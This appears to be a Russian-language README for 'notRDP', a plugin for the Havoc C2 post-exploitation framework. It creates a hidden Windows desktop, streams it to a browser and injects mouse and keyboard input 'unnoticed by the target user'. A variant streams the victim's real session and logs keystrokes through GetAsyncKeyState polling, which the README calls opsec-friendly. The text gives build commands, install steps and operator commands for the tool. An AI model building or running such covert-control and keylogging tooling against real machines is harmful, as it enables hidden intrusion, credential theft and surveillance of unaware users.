notRDP

Плагин для Havoc C2, который создаёт невидимый альтернативный рабочий стол Windows, транслирует его в браузерный просмотрщик и поддерживает полноценное взаимодействие мышью/клавиатурой, как RDP, но незаметно для целевого пользователя.

Как это работает

1. Создаёт скрытый рабочий стол через CreateDesktopW и запускает на нём explorer.exe
2. Захватывает скрытый рабочий стол с помощью композитинга PrintWindow и передаёт JPEG-кадры
3. Внедряет ввод мыши/клавиатуры через PostMessage напрямую в окна скрытого рабочего стола
4. Отображает поток в браузерном просмотрщике с полным перехватом ввода

Предварительные требования

Кросс-компилятор: x86_64-w64-mingw32-gcc (и опционально i686-w64-mingw32-gcc для x86)

Установка на Ubuntu / Debian / Kali

sudo apt update && sudo apt install gcc-mingw-w64-x86-64 gcc-mingw-w64-i686

Установка на Arch

sudo pacman -S mingw-w64-gcc

Установка на Fedora

sudo dnf install mingw64-gcc mingw32-gcc

Компиляция

make        # x64 only
make both   # x64 + x86
make clean  # remove .o files

Вручную (без Make)

x86_64-w64-mingw32-gcc -c -Wall -Wno-unused-variable -o screenshot.x64.o screenshot.c
x86_64-w64-mingw32-gcc -c -Wall -Wno-unused-variable -o screeninput.x64.o screeninput.c
x86_64-w64-mingw32-gcc -c -Wall -Wno-unused-variable -o notrdp_mgr.x64.o notrdp_mgr.c

Установка

1. Скомпилируйте BOF-файлы
2. В Havoc Client: Scripts Manager > Load Script > notrdp.py

Использование

notrdp [port] [quality]   # Start hidden desktop session
notrdp-close              # Close session

Плагин notrdpuser

Вариант плагина, который захватывает реальную сессию рабочего стола пользователя вместо создания скрытой. Включает opsec-дружественный перехват нажатий клавиш через опрос GetAsyncKeyState, встроенный в BOF для скриншотов. Упакован как notrdpuser.zip в том же репозитории — распакуйте и загрузите notrdpuser.py тем же способом.

notrdpuser [port] [quality]   # Start user desktop streaming + keystroke capture
notrdpuser-close              # Close session